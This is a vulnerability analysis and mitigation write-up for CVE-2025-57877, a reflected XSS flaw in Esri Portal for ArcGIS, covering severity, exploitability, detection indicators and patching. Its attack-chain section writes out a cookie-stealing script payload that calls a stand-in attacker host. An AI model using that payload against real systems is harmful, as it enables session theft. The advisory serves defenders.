CVE-2025-57877: 
Portal for ArcGIS vulnerability analysis and mitigation

CVE-2025-57877 is a reflected cross-site scripting (XSS) vulnerability in Esri Portal for ArcGIS versions 11.4 and below (including 10.9.1 through 11.4 across various security update levels). It allows a remote authenticated attacker with administrative access to supply a crafted string that executes arbitrary JavaScript code in a victim's browser. The vulnerability was published on September 29, 2025, with a patch made available via Esri's Security 2025 Update 3. It carries a CVSS v3.1 base score of 4.8 (Medium) (Esri Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically of the reflected XSS variant (CAPEC-591). The root cause is insufficient sanitization of attacker-controlled input that is reflected back in the Portal for ArcGIS web interface without proper encoding. Exploitation requires the attacker to already hold administrative credentials and to induce a victim user to interact with a crafted URL or input string, at which point the malicious JavaScript executes in the victim's browser context. No public proof-of-concept code has been identified (Esri Advisory).

Successful exploitation could allow an attacker to execute arbitrary JavaScript in the context of a victim user's browser session within Portal for ArcGIS. This may result in theft of session tokens or credentials, unauthorized actions performed on behalf of the victim, and manipulation of data within the Portal environment. The scope is changed (S:C in CVSS terms), meaning the impact extends beyond the attacker's own session, though availability is not directly affected. The attack is limited to the Portal for ArcGIS web environment and does not directly enable server-side code execution (Esri Advisory).

There is no evidence of active in-the-wild exploitation or a publicly available proof-of-concept for CVE-2025-57877. The vulnerability requires the attacker to already possess administrative credentials and also requires user interaction (a victim must access the crafted string), significantly limiting its exploitability. The EPSS score is approximately 0.033% (0.000330), indicating a very low probability of exploitation in the near term. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Esri Advisory).

1. Reconnaissance: Identify internet-facing or intranet Portal for ArcGIS instances running version 11.4 or below using network scanning or Shodan queries targeting Esri Portal login pages.
2. Obtain administrative credentials: Acquire valid administrative credentials through phishing, credential stuffing, or other means, as exploitation requires authenticated admin access.
3. Craft malicious input: Construct a crafted string or URL containing a reflected XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) targeting a vulnerable input field or parameter within the Portal for ArcGIS administrative interface.
4. Deliver payload to victim: Trick a target user (e.g., another administrator or privileged user) into clicking the crafted link or accessing the malicious input via social engineering, phishing email, or by embedding the payload in a shared Portal resource.
5. Harvest results: The victim's browser executes the injected JavaScript, potentially exfiltrating session cookies, performing actions on behalf of the victim, or redirecting the user to an attacker-controlled site (Esri Advisory).

• Network: Outbound HTTP requests from a user's browser to unexpected external domains shortly after interacting with Portal for ArcGIS administrative pages; unusual redirects originating from Portal for ArcGIS URLs.
• Logs: Portal for ArcGIS web server access logs showing requests with URL-encoded JavaScript payloads (e.g., %3Cscript%3E, javascript:, onerror=) in query parameters or form fields; repeated access to administrative endpoints from unusual source IPs.
• Browser/Session: Unexpected session terminations or re-authentications for Portal users; reports from users of unexpected redirects or pop-ups when using the Portal interface.
• File System: No direct file system artifacts expected for reflected XSS, but monitor for new or modified content within Portal that could indicate follow-on actions post-exploitation.

Esri has released a patch addressing this vulnerability as part of the Portal for ArcGIS Security 2025 Update 3. Administrators should apply this patch immediately for all affected versions (10.9.1 through 11.4). As interim mitigations, restrict administrative access to trusted users only, implement Content Security Policy (CSP) headers where possible, and educate administrators about the risks of interacting with untrusted links or inputs. Monitor administrative activity logs within Portal for ArcGIS for anomalous behavior (Esri Advisory).